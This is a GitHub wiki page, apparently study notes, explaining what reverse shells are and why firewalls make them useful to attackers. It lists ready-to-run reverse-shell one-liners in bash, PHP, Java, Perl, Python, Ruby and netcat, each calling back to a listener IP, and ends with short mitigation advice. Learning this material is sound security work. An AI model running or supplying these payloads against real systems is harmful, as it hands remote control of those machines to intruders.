Reverse Shell - whiteowl911/leveleffect GitHub Wiki
To gain control over a compromised system, an attacker usually aims to gain interactive shell access for arbitrary command execution. With such access, they can try to elevate their privileges to obtain full control of the operating system. However, most systems are behind firewalls and direct remote shell connections are impossible. One of the methods used to circumvent this limitation is a reverse shell.
In a typical remote system access scenario, the user is the client and the target machine is the server. The user initiates a remote shell connection and the target system listens for such connections. With a reverse shell, the roles are opposite. It is the target machine that initiates the connection to the user, and the user’s computer listens for incoming connections on a specified port.
The primary reason why reverse shells are often used by attackers is the way that most firewalls are configured. Attacked servers usually allow connections only on specific ports. For example, a dedicated web server will only accept connections on ports 80 and 443. This means that there is no possibility to establish a shell listener on the attacked server.
On the other hand, firewalls usually do not limit outgoing connections at all. Therefore, an attacker may establish a server on their own machine and create a reverse connection. All that the attacker needs is a machine that has a public (routable) IP address and a tool such as netcat to create the listener and bind shell access to it.
It is very simple to create reverse shells using different tools and languages. First, you need a listener on your local machine with a public IP. For example, on a Linux machine, all you need is the following netcat command:
ncat -l -p 1337
This establishes the listener on TCP port 1337. Let’s assume that the user’s machine is available at the IP address 10.10.17.1. The following one-liners executed on the compromised target machine create a reverse shell connection with the attacker’s machine:
The simplest method is to use bash which is available on almost all Linux machines. This was tested on Ubuntu 18.04 but not all versions of bash support this function:
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
If the target machine is a web server and it uses PHP, this language is an excellent choice for a reverse shell:
php -r '$sock=fsockopen("10.10.17.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
If this does not work, you can try replacing &3 with consecutive file descriptors. Another option for PHP is to download and execute a more complex script developed by pentestmonkey.
If the target machine uses Java, try the following:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
Perl is another good candidate for a reverse shell on a web server:
perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python is commonly used on production systems and therefore it may be an option for a reverse shell as well:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
While Ruby is not as common as the other languages, it also makes it possible to create a reverse shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.17.1","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
or
ruby -rsocket -e'f=TCPSocket.open("10.0.17.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat is rarely available on production servers, but if all else fails, the attacker can try the following:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
For an impressive list of reverse shell payloads, you can refer to the Reverse Shell Cheat Sheet maintained by Swissky on GitHub.
In general, a reverse shell on its own is not malicious and can also be used for legitimate purposes, for example, for remote server administration. If you don’t need to use reverse shells, you can try to limit the possibility to create them but it is very difficult:
- You can impose strict control of outgoing connections. However, this is only possible for very specialized servers. And there is nothing to stop the attacker from opening a listener on a common port such as 80. In such a case, all connections would have to be monitored for content as well.
- You can disable most tools that make it possible to create a reverse shell, but again this is only possible for very specialized servers. As you can see above, reverse shells can be created using different tools and languages. Therefore, you may make it more difficult for the attacker, but not impossible.
Even if you succeed in avoiding reverse shells, there are other methods that the attacker can use to establish control over the system. For example, in some cases, they may use web shells instead.
Reverse shells on their own are always a result of some other kind of attack, for example, an SQL Injectionattack. Therefore, the best way to avoid reverse shells is to protect against attacks that allow impostors to gain shell access in the first place.